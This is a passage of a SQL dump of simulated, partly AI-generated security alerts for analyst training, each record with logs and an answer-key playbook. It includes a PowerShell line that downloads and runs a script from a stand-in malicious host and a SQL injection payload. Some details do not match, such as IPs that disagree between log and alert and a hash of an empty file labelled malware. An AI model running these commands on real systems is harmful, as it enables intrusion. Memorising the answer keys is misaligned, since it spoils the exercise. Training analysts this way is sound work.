Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1696, 'Process Hollowing Detected in explorer.exe', 'critical', 'CrowdStrike', 'Suspicious activity detected where explorer.exe is exhibiting process hollowing behavior. Anomalous process injection identified.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:15:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"203.0.113.10\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"command_line\":\"C:\\\\Windows\\\\explorer.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\explorer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique detected in explorer.exe\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is a common malware technique used to hide malicious code. The hash and behavior indicate a true positive.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1697, 'PowerShell Download Cradle Detected', 'high', 'Sysmon', 'A PowerShell script was executed with an encoded command, indicating a potential download cradle attack.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"198.51.100.5\",\"username\":\"asmith\",\"hostname\":\"finance-pc\",\"command_line\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution detected\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands suggests an attempt to obfuscate a download cradle attack, confirming the positive.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.011Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.5\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"finance-pc\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1698, 'Malicious Network Connection from Internal IP', 'medium', 'Carbon Black', 'An internal machine made a suspicious outbound connection to a known malicious IP address.', 'Data Exfiltration', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:21:15Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.0.2.45\",\"username\":\"tblack\",\"hostname\":\"server02\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for hosting command and control infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The connection to a known malicious IP indicates possible data exfiltration, justifying the positive verdict.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.019Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:21:15Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.0.2.45\\\",\\\"username\\\":\\\"tblack\\\",\\\"hostname\\\":\\\"server02\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1699, 'Failed Login Attempts from Foreign IP', 'medium', 'SentinelOne', 'Multiple failed login attempts detected from an IP address located in a foreign country. Possible credential brute force attack.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:54:12Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.85\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"auth-server\",\"failed_attempts\":17}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for frequent brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Common target username for brute force attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The volume and origin of failed login attempts suggest a brute force attack, supporting the positive classification.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"},{\"timestamp\":\"2026-03-15T20:57:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"},{\"timestamp\":\"2026-03-15T20:56:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"},{\"timestamp\":\"2026-03-15T20:55:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"},{\"timestamp\":\"2026-03-15T20:54:16.026Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:54:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.85\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":17}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1700, 'Unexpected Internal Traffic Detected', 'low', 'Sysmon', 'Unusual internal network traffic detected, originating from an internal IP, but no malicious activity confirmed.', 'Lateral Movement', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"10.0.0.50\",\"username\":\"jdoe\",\"hostname\":\"workstation03\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network communication\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network communication\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The traffic was between internal IPs and consistent with routine activity, confirming it as a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.029Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.45\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1701, 'Suspicious Encoded PowerShell Execution', 'medium', 'CrowdStrike', 'An encoded PowerShell command was executed, but further analysis indicated it was a legitimate administrative script.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"198.51.100.10\",\"username\":\"admin\",\"hostname\":\"admin-pc\",\"command_line\":\"powershell.exe -EncodedCommand U29tZSBBZG1pbmlzdHJhdGl2ZSBTY3JpcHQ=\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand U29tZSBBZG1pbmlzdHJhdGl2ZSBTY3JpcHQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded command verified as legitimate administrative task\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command was a legitimate administrative operation, hence categorized as a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1702, 'SQL Injection Attempt Detected on Web Server', 'high', 'Carbon Black', 'Detected SQL injection attempt on the company\'s web server. Malicious payload targeting database vulnerabilities.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:30:55Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.20\",\"dst_ip\":\"192.168.1.100\",\"username\":\"webuser\",\"hostname\":\"web-server\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected in URL parameters\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for malicious web activity\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload matches a classic SQL injection attempt, confirming the threat as a true positive.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.035Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:55Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.20\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1703, 'Abnormal Internal Traffic with Base64 Encoded Payload', 'medium', 'SentinelOne', 'Observed unusual internal traffic with a Base64 encoded payload. Further investigation revealed routine data transfer.', 'Data Exfiltration', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:10:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"172.16.0.10\",\"dst_ip\":\"172.16.0.15\",\"username\":\"mwhite\",\"hostname\":\"data-node\",\"request_body\":\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\"}', '2026-03-15 19:47:07', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP 